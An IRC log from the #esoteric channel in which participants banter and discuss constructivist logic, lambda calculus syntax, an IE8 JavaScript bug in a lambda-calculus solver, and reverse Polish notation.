< 1268258766 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Inductive" is a bit too long. < 1268258774 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268259479 0 :cheater2!~cheater@ip-80-226-239-158.vodafone-net.de JOIN :#esoteric < 1268259665 0 :cheater3!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268260229 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268261172 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268262165 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :doing classical logic in constructivist logic is fun < 1268262218 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Try doing the non-contradiction theorem! < 1268262357 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268262468 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268262500 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Slereah: What, not (p and not p)? < 1268262513 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1268262515 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That's in constructivist logic too :P < 1268262521 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :IS IT? < 1268262534 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Or am I thinking of p or not p < 1268262535 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268262545 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268262547 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We get rid of (p \/ ~p), not ~(p /\ ~p) < 1268262553 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes < 1268262560 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I often confuse them < 1268262561 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The way to do classical logic in constructivist logic is to write everything as (p \/ ~p) -> ... < 1268262565 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Contradiction and... < 1268262569 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :What's the other name < 1268262579 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can define classical P OR Q :<=> ~~(P \/ Q) < 1268262579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Law of the excluded middle. < 1268262582 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and so on, < 1268262592 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then you can prove classical tautologies < 1268262609 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :taut eulogies < 1268262610 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/864149.txt?key=efscdf3wmdhlbyfpnxqfdw < 1268262641 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :proof of (p->q) -> (~p->~q) -> q -> p classically < 1268262655 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :You have a taut body < 1268262656 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I love the beauty of just letting LEM hand us a contradiction, at which point we simply take its word and prove the thing we want to prove, whatever it is, from it. < 1268262660 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I can tell from your taut pants < 1268262683 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Trivial system ~ < 1268262685 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268262689 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Everything is true! < 1268262716 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268262754 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :There are no trivial mathematics, just trivial mathematicians < 1268262776 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268262779 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :shut up < 1268262795 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268262796 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lament feels singled out there < 1268262831 0 :alise__!~95fedb41@gateway/web/freenode/x-fcgnuruvcivvacuz JOIN :#esoteric < 1268262850 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION realises he redefined modus tollendo ponens in that proof
< 1268262890 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Well, almost. < 1268262914 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268263047 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :modus penis < 1268263118 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise__: are the implications left-associative or right-associative? < 1268263155 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :right-associative. Obviously. As they're also the function arrows. < 1268263179 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh. wait what? < 1268263195 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Curry-Howard isomorphism. Types = statements in constructivist logic. < 1268263203 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Values = proofs. < 1268263203 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :(In a dependently-typed language.) < 1268263204 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION explodes
< 1268263208 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It's the future, mon. See: Agda, Coq, Epigram. < 1268263223 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :future < 1268263226 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :FUTURE < 1268263237 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'll believe you when I see it in .NET :P < 1268263246 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :.NET: The Future < 1268263247 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :non-dependently typed too. just you only get propositional logic then, or thereabouts. < 1268263263 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :.NET is looking to be the future, regrettably < 1268263292 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: propositional logic is for butts < 1268263333 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i see an obvious pun but i'll leave it for Slereah < 1268263428 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nice of you to throw him some scraps of meat that you can't be bothered to pick from the bones < 1268263499 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's more like it seems more his style < 1268263507 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(see above) < 1268263690 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :metastruct will be so cool :| < 1268263729 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :does anyone know a program that will simply ask X to clean up any temporary resources it has hanging around? < 1268263740 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i n *hit by falling anvil* < 1268263741 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so that I don't have to write one myself < 1268263768 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268263778 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :foo : (ProgDescription -> Prog) -> Prog < 1268263787 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :shutdown -r < 1268263793 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :foo p = englishDescr "ask X to clean up any temporary resources it has hanging around" < 1268263796 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268263801 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :foo p = p (englishDescr "ask X to clean up any temporary resources it has hanging around") < 1268263813 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :the program is (foo _) < 1268263815 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :where _ is obvious. < 1268264001 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268264293 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268265393 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268265425 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268265446 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: kill -9 < 1268265456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(note: all resources considered temporary) < 1268265467 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1268265519 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Resources should totally include their extents. < 1268265610 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268265616 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hell-oh < 1268265710 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Hell, oh. < 1268266045 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hell? Ohhhh < 1268266138 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :oh hell < 1268266522 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1268266527 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey guys. < 1268266544 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Does anyone know anything about Lambda Calculus syntax? < 1268266588 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268266648 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What's to know? < 1268266659 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/lambda/lambda.html , btw < 1268267235 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know absolutely everything about lambda calculus syntax. < 1268267321 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've implemented it as a library in C. < 1268267326 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :>:D < 1268267332 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Yes. < 1268267431 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: An expression is either λx.E where x is an identifier and E is an expression, a b where both a and b are expressions, or an identifier (preferably enclosed in a series of lambdas, one of which has this identifier as part of the head of the lambda-term, otherwise the program makes no sense). < 1268267432 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :What else do you want to know? < 1268267433 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :There's about three things to know :P < 1268267451 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and parenthesisation is allowed, the E in a lambda-expression extends as far as possible, and application is right-associative. < 1268267480 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You only need to know a few more things. The reduction rules. < 1268267482 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :And an identifier is, say, any string of alphanumerics (perhaps disallowing numerics for the first character). Maybe even with some number of primes on the end, etc. < 1268267493 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That's not syntax. < 1268267517 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, he specified syntax. Darn it. < 1268267601 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Evaluation of lambda calculus terms: eval _ = _|_. < 1268267606 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Like my nifty lambda calculus solver btw? :P < 1268267611 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Since _|_ -> a, we can show that this is isomorphic to any other evaluation function we might define. < 1268267615 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Hooray for turing-completeness! < 1268267633 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: What syntax does it accept? < 1268267644 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Also, it doesn't even work in IE8. :-( < 1268267655 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Lambda calculus, with the caveat that you type ^ instead of lambda. < 1268267662 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And IE8??? WTF? < 1268267666 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I doubt it even works on IE6. < 1268267679 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: *Nothing* works on IE6. < 1268267684 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Er... IE8 has /superior/ support for web standards. < 1268267689 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :At least, nothing sane. < 1268267692 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Your "even" is incredibly confusingly misplaced. < 1268267692 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268267697 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :IE8 is actually pretty good for standards. < 1268267706 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :IE8 is finally a tolerable web browser. < 1268267721 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not great, but it at least *supports* standards sanely. < 1268267728 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh yeah, I remember writing that note on the solver :P < 1268267753 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise__: The note is conditional on IE usage, not on a version or a feature. < 1268267754 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I hypothesise that perhaps your program has an error, since my estimation of IE8 being able to run sane, valid JavaScript is pretty high. < 1268267759 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Using IE's conditional commenting thing. < 1268267783 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : < 1268267785 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I know, but it /literally doesn't work/ in IE8. < 1268267785 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :As in, produces errors. < 1268267790 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1268267811 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Length is null or not an object, line 76, char 17. < 1268267812 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I have no IE8 to test on. < 1268267844 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :IT's in iswhite < 1268267844 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :*It's < 1268267863 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric : var toks = lex(str); < 1268267873 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :> That should definitely work. < 1268267915 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise__: Uh, "var toks = lex(str);" isn't in iswhite... < 1268267915 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Don't looka me. < 1268267928 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That's where 'str' in iswhite is coming from. < 1268267934 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268267936 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1268267952 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://vimeo.com/4339116 neat < 1268268047 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :OK, .value works. < 1268268114 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And yet, clearly it does not. < 1268268118 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Can you add alert(str) to the start of handleInputPrime? < 1268268121 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It does, I checked it with alert. < 1268268134 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So it's getting fucked up between accessing and getting to the parser < 1268268146 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Does anything before iswhite mutate str? < 1268268147 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise__: YOU can add alert(str) there, just download it :P < 1268268175 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Too lazy. < 1268268183 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ffs use debugger instead of calling alert() < 1268268240 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is thinking about booting ruby interpreter on bare metal
< 1268268261 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes, a truly worthwhile accomplishment that would be. < 1268268369 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :You could shoot yourself in the foot by reopening Foot and defining its shot? method to always return true, and it'd only take years to evaluate. < 1268268417 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, Ruby. < 1268268422 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Walking-the-tree semantics. < 1268268434 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't be so hard, interpreter depends mainly on libc < 1268268454 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well in that case, just link with a stubbed newlib. < 1268268468 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :that's the plan < 1268268470 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Fill in the stubbed bits with raw interfaces as you go. < 1268268547 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It is truly astonishing. < 1268268554 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :%] < 1268268555 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Stubbed bits? Is that like stubbed toes, but even worse because it's on your genitals? < 1268268555 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :If so, I agree. < 1268268680 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I suggest as a resolution his immediate termination. < 1268268698 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1268268933 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268269164 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Oh, there's no point in arguing against it. < 1268269212 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :oh hell < 1268269296 0 :alise!~95fedb41@gateway/web/freenode/x-aufblcifwcmaouum JOIN :#esoteric < 1268269334 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1268269337 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268269338 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268269363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://us.metamath.org/mpegif/avril1.html < 1268269368 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. < 1268269402 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I agree, that URL is very obvious. < 1268269434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Theorem at http://us.metamath.org/mpegif/avril1.html.] < 1268269435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. < 1268269527 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So what does that theorem state? < 1268269545 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what conjoining with a relation means. < 1268269601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It may be helpful to realise that the whole thing, although completely valid, makes something in the vicinity of 0 units of sense. < 1268269624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And that "quidquid germanus dictum sit, altum viditur" means "everything in German sounds profound". < 1268269645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And that the First of April is the First of April. < 1268269658 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :maybe tinyrb would be better choice < 1268269694 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :besides that it uses boehm gc, pcre and other external deps < 1268269726 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268269731 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So is this theorem useful chiefly because it doesn't make much sense? < 1268269753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Who said it was useful? < 1268269899 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I keep saying the wrong words. < 1268269902 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/useful/interesting/ < 1268270093 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :who are you two anyway? < 1268270334 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268270383 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268270442 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Who, me and alise? < 1268270472 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I am e; alise is ehird. < 1268270472 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268270474 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/e/me/ < 1268270508 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You shouldn't have told him that I'm me; maybe he thought /two/ people enjoy disparaging him to the max as a sort of idle hobby. < 1268270574 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i should check the idents first but soehow i knew that only ehird could use such gay nick while still trying to be poignant :| < 1268270593 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alise is a girl < 1268270628 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :named elliott < 1268270651 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ellietta < 1268270706 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :elliotta < 1268270709 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Technically I'm an unnamed gender that is male in every way apart from (a) name and (b) correct pronouns. < 1268270709 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, I wasn't attempting poignancy. < 1268270740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I merely remove all my built-in anti-extreme-silliness filters when talking about you. < 1268270744 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :gay is not a gender < 1268270754 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is lesbian a gender? < 1268270755 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OR IS IT < 1268270786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1268270786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, but gaylesbian is. < 1268270985 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :alise: you are automatically disparage all my ideas when i share them < 1268270999 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1268271006 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :WHY? < 1268271024 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :WHYYYYYYYYYY?!!! < 1268271030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I need someone to drive to hopeless self-despising, and you talk about how stupid you are all the time so I figured I could do worse. < 1268271077 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268271089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(And we're calling them ideas now? That's a step ;u < 1268271090 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :sounds fair < 1268271092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*up.) < 1268271600 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :gasp < 1268271617 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :this won't compile ;[ < 1268272045 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268272455 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I haz a quechion. < 1268272499 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure you haz several quechions. < 1268272526 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Naw, juzt 1!11!111! quechion. < 1268272550 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm sorry, I don't speak stupid. < 1268272607 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1268272617 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Could you try speaking smart? < 1268272632 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Is there a name for postfix-notated statements in which the second argument in the notation (last-in argument, if you consider the statement to be a stack) is the first argument in the operation? < 1268272657 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I supposed #esoteric would know just as well as anywhere else. < 1268272676 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, this: 2 2+ ? < 1268272716 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Like... 23* in postfix is 2*3 in infix... < 1268272743 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's... Reverse Polish Notation... < 1268272744 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :If you look at the statement as a stack, it'd make sense that it'd be written in postfix notation as 32*. < 1268272763 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Orly? < 1268272784 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Unless you're asking for some sort of retarded "RPN but the arguments are flipped" thing. < 1268272792 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh, thanks! I just wanted to know if there was a name for it. < 1268272796 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*That* is called "DEAR GOD WHY". < 1268272840 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it's Polish and Reversed, what can be worse < 1268272844 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Lawl. < 1268272857 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: RPN is quite a nice notation. < 1268272859 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So 2/3 is 32/ in RPN right? < 1268272881 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268272883 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :23/ < 1268272894 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What you're asking for, then, is "DEAR GOD WHY". < 1268272904 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :...that's just postfix notation. < 1268272907 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Do you like making your parsing harder or something? < 1268272929 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... AKA reverse polish notation. < 1268272938 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What you're asking for is a capital offense. < 1268272950 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it really depends on your implementation of / < 1268272976 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well. Yeah, you could just do (flip (/)) and voila. < 1268272980 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :If you really want to know, it's because I'm making a constructed (non-computer) language based on a LIFO stack where you have binary and ternary operators, which operate on the prefixed arguments in reverse order. :) < 1268273043 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :bike me [rides on] < 1268273051 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :how stupid is that < 1268273065 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :In the world of languages, it make sense. < 1268273094 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So "X Y *" would become "Push X, Push Y, Pop A, Pop B, Ret A*B". < 1268273099 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Sort of. < 1268273133 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What you are doing makes things harder. < 1268273144 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :In terms of language, you're stating the object first, then the subject, then the action. < 1268273271 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So am I looking for...Polish Notation? < 1268273291 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Nevermind. < 1268273352 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :In my mind, making the object closest to the operator the "subject" in the calculation (as opposed to the "object") makes more sense. < 1268273538 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :how would you write your last sentence then? < 1268273627 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hmm? < 1268273630 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Lawl. < 1268273630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bikes I ride on; the bikes, interesting. Bikes I ride on, interesting; Bikes, interesting, I ride on. < 1268273632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :English is RPN. < 1268273640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, "poetic" English. < 1268273640 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :English is infix. < 1268273649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268273653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's multiple fixitiesl < 1268273655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*fixities. < 1268273662 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It CAN be postfix, but not normally. < 1268273663 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You suck. = postfix < 1268273668 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Suck ass. = prefix < 1268273671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You suck ass. = infix < 1268273676 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Okay, point taken. < 1268273683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And some are not really any in particular. < 1268273695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But "Bikes I ride on" is both valid poetic English and postfix. < 1268273858 0 :alise!unknown@unknown.invalid QUIT :Quit: Page closed < 1268273919 0 :dev_squid!unknown@unknown.invalid PRIVMSG 